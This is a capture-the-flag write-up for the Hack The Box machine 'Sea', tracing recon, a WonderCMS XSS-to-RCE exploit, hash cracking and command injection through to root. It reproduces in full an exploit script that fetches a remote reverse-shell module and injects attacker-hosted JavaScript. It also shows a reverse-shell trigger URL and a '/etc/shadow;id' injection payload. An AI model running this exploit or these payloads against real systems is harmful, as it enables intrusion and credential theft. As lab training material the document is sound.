Sea HTB writeup

Initial Recon

Beginning with a default nmap scan
Found ports 22 (SSH) and 80 (HTTP). I decided there was no need to perform service scanning.

Meanwhile, I started the usual directory brute forcing in the background.

┌──(kali㉿kali)-[/tmp/sea]
└─$ gobuster dir -u=http://$ip -w=/usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt

Found some interesting entries

Further enumerating each directory found we get:

1. Plugins
2. themes
3. data
4. home

The only interesting finding here in my opinion is the themes/bike and the data/files so lets check them both

1. /themes/bike
2. /data/files:nothing interesting

For /themes/bike/version we get 3.2.0
looking at the scans we got from bike, it seems to be like a github repo so trying README.md and get a hit!!
WonderCMS Version 3.2.0
Checking for vulnerabilities, found this link so cloned the repo just in case we need it
Time to access the webpage :)) at least now we know what we will be facing
Clicking on how to participate button
We get a hyperlink on contact, clicking on it we get a redirection to sea.htb/contact.php time to edit some hosts files :))
After correctly loading the page, we get a very interesting finding
This leads to pretty much a lot of attacks vectors.
First, trying some basic XSS
we get some ‘front end’ input sanitization so firing up burpsuite

Catching the request from the proxy tab
This is the URL encoding of our request sent earlier
will send it to the ‘Repeater’ and try some XSS payloads
No input sanitization on backend
No reflection so cannot use 90% of XSS payloads
Trying to steal cookie as this form is getting submitted and maybe checked by a higher authority
but before firing up I had to open a server
Waited for more than 10 minutes but got nothing. Tried to change payload and do tricks for escaping but got nothing.
Checking the exploit we cloned earlier

  # Author: prodigiousMind
# Exploit: Wondercms 4.3.2 XSS to RCE


import sys
import requests
import os
import bs4

if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
  data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
 url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
       
     }
   };
 }
};
'''
  try:
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")

    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")

As we can see, it has a usage of python3 exploit.py loginURL IP_Address Port
the logiURL is being sanitized
a module is getting fetched from the internet
a page is being created at /themes/revshell-main/rev.php with parameters lhost and lport
What we will do is to change some things in the script
The modules needs to be installed as HTB machines cannot access the internet and then fetch it from our local machine
We will first try to run the expoit without changing anything and see if it is working
Now open a netcat listener and send this link to the contact form website entry and wait
we get a reply from the server finally
now accessing this url with those specific parameters to catch a reverse shell on my listener

  http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.16.55&lport=4444

Upgrading the shell and spawning a real TTY shell
Found database.js in /var/www/sea/data where a hash could be identified
This seems to be a valid hash but something was odd, \\ are present to escape the / so had to remove them and pass it to hashid

a Blowfish hash was identified
cracking with mode 3200
Found a valid password mychemicalromance
password spraying on the current users including root
valid credentials found amay:mychemicalromance
SSH to get a better foothold
Beginning with the privilege escalation checklist
Starting with sudo permissions
Checking for internal ports and running services
Got 2 interesting ports 59691 and 8080
curling both ports got us 2 different responses

1. 8080: Unauthorized access which is making me curious
2. 59691: No response at all so will just leave it and will get to it later if no attack vector was found
   Achieving local port forwarding using ssh
   Accessing the internal service on our localhost:4444 address
   We get a login form, entering Amay credentials
   We are welcomed with the index page
   Clicking on analyze access.log
   seems to be an LFI potential vulnerability
   We get a weird message at the end
   Intercepting the request with burpsuite
   Sending to the repeater to begin playing with the Packet
   Changing the parameter to /etc/passwd
   We get some of the /etc/passwd file
   and the weird sentence….
   Checking the permissions on the access.log file we get permission denied so Trying to check the permissions on the whole directory
   It seems that this process is running as root
   Analysis:
3. Service running as root and has permissions to read all the files on the file system
4. It can check the content of the files and compare it to a sort of regex and then print out the suspicious pattern sentence
5. A process may be running on the machine that takes the data given from the application, run a specific command on the server and return the output to the application displaying it After doing those analysis, tried to check for background running processes using ‘pspy64’ but got nothing (some protections are on place)
   Trying some command injection payloads
   Running this payload
   analyzing the response
   The whole /etc/passwd file is not printed out but still with the malicious pattern sentence at the end
   Running /etc/shadow;id We get the hash of the root user and compromising the machine